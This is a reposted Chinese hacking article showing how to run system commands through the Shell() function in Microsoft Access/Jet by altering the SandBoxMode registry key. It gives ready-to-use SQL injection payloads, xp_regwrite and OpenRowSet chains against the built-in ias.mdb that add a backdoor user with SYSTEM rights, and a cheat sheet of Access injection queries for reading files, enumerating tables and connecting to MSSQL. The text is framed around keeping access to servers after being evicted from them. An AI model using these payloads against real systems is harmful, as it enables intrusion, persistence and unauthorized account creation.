Access數(shù)據(jù)庫也能執(zhí)行cmd命令
Access查詢中有類似這樣的語句
Select * from Sometable where somefield='|Select Shell("cmd.exe /c dir")|' 關(guān)于這個(gè)語句的介紹,是漏洞資料中所說的,Access允許用"|"來創(chuàng)建VBA函數(shù),導(dǎo)致命令被執(zhí)行,其實(shí)這只是Access內(nèi)置的一個(gè)特殊函數(shù)而已,相類似的還有cudir和Command函數(shù).具體的我們可以在Access中測試.測試的SQL語句如下:
Select Shell("cmd.exe /c dir c:\ > c:\kevin.txt")
回到C盤,我們果然看到了kevin.txt.說明語句執(zhí)行成功了. 然后我們將其轉(zhuǎn)到腳本中測試吧.編寫如下的VBS腳本 Set Conn=Createobject("Adodb.Connection") Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=kevins4t.mdb" Set Rs=Conn.execute("Select Shell(""cmd.exe /c dir c:\ > c:\kevin.txt"")") Msgbox Rs(0) 這一此出現(xiàn)的結(jié)果很出乎我們的意料,錯(cuò)誤的原因是"表達(dá)式中的'Shell'函數(shù)未定義".現(xiàn)在我們需要安靜下來喝杯咖啡然后思考為什么同樣的語句在不同的執(zhí)行者間會(huì)出現(xiàn)如此截然不同的問題.一個(gè)能正常執(zhí)行,
而另外一個(gè)則是找不到函數(shù).試想微軟一定在其中的什么地方設(shè)置了一個(gè)開關(guān),那么我們就去微軟的知識(shí)庫去了解一下. 在微軟的一篇關(guān)于沙盒模式的文檔中,我們了解到一些內(nèi)容: 為了安全起見,MS在Jet引擎的Sp8中,設(shè)置了一個(gè)名為SandBoxMode的開關(guān),這個(gè)開關(guān)是開啟一些特殊函數(shù)在另外的執(zhí)行者中執(zhí)行的權(quán)限的.它的注冊(cè)表位置在 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默認(rèn)是2.微軟關(guān)于這個(gè)鍵值的介紹為:0為在任何所有者中中都禁止起用安全設(shè)置,1為僅在允許的范圍之內(nèi),
2則是必須是Access的模式下(這就是為什么我們能在Access中執(zhí)行成功的原因.),3則是完全開啟,連Access中也不支持. 那么好吧,我們來看看如果將值變?yōu)?將會(huì)怎樣. 這次運(yùn)行我們的VBS的時(shí)候,出現(xiàn)的情況是一組數(shù)字,再在C盤下查看文件,果然看到了我們的kevin.txt.很神奇吧.原來Access也是可以執(zhí)行****命令的,只是微軟這家伙總是懶得說出來而已.但是如果在實(shí)際方面會(huì)怎樣呢?
一.后門的設(shè)置 我們的運(yùn)用將會(huì)很窄.真的,一來我們需要的權(quán)限很高,起碼要到能改注冊(cè)表的權(quán)限,默認(rèn)是Admin和LocalSystem,二來是我們將如何修改注冊(cè)表舞丛,遠(yuǎn)程嗎?沒門的.所以我們只好將其當(dāng)作一個(gè)后門用.
只要我們修改了注冊(cè)表的值,那么在普通的注入語句中,這是一個(gè)很不錯(cuò)的后門方式,最起碼可以在外部執(zhí)行一些小小的命令什么的. 比如我們?cè)跐B透某個(gè)站點(diǎn)的時(shí)候拿到了最高權(quán)限,并且修改了這個(gè)SandBoxMode,之后我們被管理員掃地出門了.那么,在首頁的某個(gè)地方依舊存在這一個(gè)Select的注入點(diǎn),這樣最好,我們讓服務(wù)器執(zhí)行如下的SQL就行了.
InjectionURL' and 0<>(select shell("cmd.exe /c net user > c:\inetpub\wwwroot\kevins4t.txt"))%00 這樣我們就可以一步一步的將重新服務(wù)器拿下. 二.遠(yuǎn)程攻擊 這將是一個(gè)很有意思的話題.首先我們必須有修改注冊(cè)表的權(quán)限,二是有修改注冊(cè)表的條件,三是可以執(zhí)行SandboxMode的環(huán)境,必須三樣同時(shí)滿足才行,到底是在什么情況下呢?
我們知道,我們平時(shí)在雜志上看到的文章,很多的無非就是在一個(gè)以Sa連接的InjectionURL中苦苦掙扎,一是執(zhí)行****命令,如果去掉了擴(kuò)展或者是將擴(kuò)展需要的DLL移走,我們將一無所用.那么聰明的你是否想到了方法?
我們知道,只有Sa的權(quán)限才有可能去打開另外一個(gè)Access的連接的,當(dāng)我們滿足了打開Access的條件的同時(shí),我們也滿足了修改注冊(cè)表的條件和權(quán)限,因?yàn)镸SSQL有一個(gè)名為xp_regwrite的擴(kuò)展,它的作用是修改注冊(cè)表的值.語法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value 那我們只要將SandBoxMode修改為0或者1就成功了.然后則是MSSQL的OpenRowSet函數(shù),它用于打開一個(gè)特殊的數(shù)據(jù)庫或者連接到另一個(gè)數(shù)據(jù)庫之中.當(dāng)我們具備SysAdmin的權(quán)限的時(shí)候,我們就可以做到打開Jet引擎.那么我們只要連接到一個(gè)Access數(shù)據(jù)庫中,
然后執(zhí)行****命令就可以了.但是關(guān)鍵的問題是如何尋找這個(gè)Access數(shù)據(jù)庫. 關(guān)于這個(gè)問題我以前想了很多,一開始是想,利用目錄便歷來查詢數(shù)據(jù)庫的位置.但是這種方法成功率不會(huì)很高,有的時(shí)候我們碰到很多的站點(diǎn)都設(shè)置了非常好的權(quán)限,無法找到MDB數(shù)據(jù)庫.這是最為煩惱的地方.
不過后來我想到了一些前人用過的方式,系統(tǒng)里本來就有2-3個(gè)現(xiàn)存的數(shù)據(jù)庫嘛,何必費(fèi)神的去找呢?它們的位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\dnary.mdb這樣一來,我們有了執(zhí)行宿主,就沒什么好怕的了.執(zhí)行一下我們所需要的命令吧
InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user kevin 1986 /ad")');-- 這樣,我們就執(zhí)行了命令了.而且繼承的是MSSQL的LocalService的System權(quán)限.
用戶表 SELECT Name FROM msysobjects WHERE Type = 1 and flags=0 所有表 SELECT Name FROM msysobjects WHERE Type = 1
判斷版本: SELECT NULL FROM MSysModules2 '97 SELECT NULL FROM MSysAccessObjects '97 2000 SELECT NULL FROM MSysAccessXML '2000 2002-2003 SELECT NULL FROM MSysAccessStorage '2002-2003 2007
SandBoxMode: SandBoxMode的開關(guān),這個(gè)開關(guān)是開啟一些特殊函數(shù)在另外的執(zhí)行者中執(zhí)行的權(quán)限的.它的注冊(cè)表位置在 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默認(rèn)是2. 微軟關(guān)于這個(gè)鍵值的介紹為:0為在任何所有者中中都禁止起用安全設(shè)置,1為僅在允許的范圍之內(nèi), 2則是必須是Access的模式下(這就是為什么我們能在Access中執(zhí)行成功的原因.),3則是完全開啟,連Access中也不支持.
執(zhí)行****命令: Select Shell("cmd.exe /c dir c:\ > c:\kevin.txt")
讀文件 SELECT * FROM [TEXT;DATABASE=c:;HDR=NO;FMT=Delimited].[kevin.txt]
寫文件:【不能在子查詢和UNION查詢中选泻,實(shí)用價(jià)值不大】 SELECT "text to write" into [TEXT;DATABASE=c:;HDR=NO;FMT=Delimited].[kevin1.txt]
當(dāng)前路徑:sandboxing enable select curdir() from msysaccessobjects select dir('c:\ ') from msysaccessobjects select environ(1) from msysaccessobjects select filedatetime('c:\boot.ini') from msysaccessobjects select filelen('c:\boot.ini') from msysaccessobjects select getattr('c:\ ') from msysaccessobjects select shell('cmd.exe /c dir c:\ > c:\kevin.txt') from msysaccessobjects
跨文件查詢: SELECT * FROM dv_address IN 'D:\dailian\bbs\Dvbbs8.2.0_Ac\Data\IPaddress.mdb'
連接MSSQL: SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=(local);UID=sa;PWD=2853wang; DATABASE=master].Information_Schema.Tables
也不記得在那里轉(zhuǎn)載的了,一直存者,文章有部分修改.
原文